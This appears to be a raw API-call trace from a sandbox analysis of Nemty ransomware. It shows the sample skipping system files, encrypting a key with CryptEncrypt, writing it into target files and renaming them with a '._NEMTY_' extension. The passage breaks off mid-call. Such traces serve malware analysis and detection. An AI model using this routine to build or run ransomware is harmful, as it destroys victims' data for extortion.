pszString="bfhByFMuvSGz9Kq+F3VS2b+65fvnPdRZCdxM9Zhgo0eTe35zRPP1RroFLrYsjlZ8\r\nrFkl93Eo4fjA+3YO2kwambqi/oyIDORl33PPqwgThPJQY0NoYMnpXX98TguO1RCL\r\nZgKbNMMsUXHqWdCW0kAqSv47fAP2bz3Llgqt9280hSPMtXODD6X27agxBZX3ekKJ\r\nbYycfi+wvrK4+Np166gKjkC0npAyjxqKTgyCDZXg6HxXfxz9X4hdMdc5LeUkUeSi\r\nPSuCapfBsLZzfExWCRFFcz8Hn8dqPIaStnL7c1FnMirhM8QVjvuwYzyViXEXCNT2\r\niH6aEtqY5xxfxsslRce2wg==\r\n", pcchString=0x653e91c) returned 1 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.041] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.042] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.042] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.042] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.052] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.052] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.052] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.062] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.062] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.062] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.081] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.081] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.081] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.090] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.099] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.099] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.099] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.109] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.109] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.109] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.118] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.119] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.119] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.119] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.128] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.128] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.128] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.138] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.138] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.138] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0110.150] CloseHandle (hObject=0xffffffff) returned 0 [0110.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0110.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0110.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0110.150] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0110.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0110.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0110.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0110.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-dock.png._nemty_kgobjgd_")) returned 0 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0110.151] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8232d98a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8232d98a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2=".") returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="..") returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="...") returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="windows") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="$RECYCLE.BIN") returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="rsa") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="NTDETECT.COM") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="ntldr") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="MSDOS.SYS") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="IO.SYS") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="boot.ini") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="boot.ini") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="AUTOEXEC.BAT") returned 1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="ntuser.dat") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="desktop.ini") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="CONFIG.SYS") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="RECYCLER") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="BOOTSECT.BAK") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="bootmgr") returned -1 [0110.151] lstrcmpiW (lpString1="bg-today.png", lpString2="programdata") returned -1 [0110.152] lstrcmpiW (lpString1="bg-today.png", lpString2="appdata") returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-today.png", lpUsedDefaultChar=0x0) returned 12 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-today.png", lpUsedDefaultChar=0x0) returned 12 [0110.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-today.png", lpUsedDefaultChar=0x0) returned 12 [0110.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0110.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bg-today.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bg-today.png", lpUsedDefaultChar=0x0) returned 12 [0110.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0110.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0110.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0110.152] Sleep (dwMilliseconds=0x5) [0110.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf54f72f0, dwHighDateTime=0x1d561e7)) [0110.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf54f72f0, dwHighDateTime=0x1d561e7)) [0110.168] GetLastError () returned 0x5 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0110.168] GetLastError () returned 0x5 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0110.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0110.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0110.168] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0110.168] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0110.168] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="Px4mKSuOaJ/DlsbmoObQ5Hu/1U6pkoRMr9KynXg8KUbIWxR6GsneaQPQazi6+LSS\r\n7gf0LFdO+vjZ3F7+J3ntqD9eIvaXWjMxqUWhfTB6jSA/uDA46cCXValHb2VHB0a9\r\nxqyOaPBl1q2RDrIt+CGNTUNuhGHRTUyqdUA8sP8io3cigGTjyIEqwUgFyYppuc2t\r\nMDekM4qu25Fvxh9IKTUEFqfMbDsy+2UGHxRv+ZBE+w1+cFg0uWh2VTUDMCOo08sl\r\ni3XY84yPKjNn57zc86PeTYgxQ1zUI//B+1A1MoSahGNTpKe08R7eMx4jrWirWioN\r\nhSZVEg7vg2VTcDQJUiIKTw==\r\n", pcchString=0x653e91c) returned 1 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0110.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0110.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0110.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0110.168] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bg-today.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0110.169] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0110.169] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0110.169] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.169] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0110.199] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0110.199] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0110.199] SetFilePointer (in: 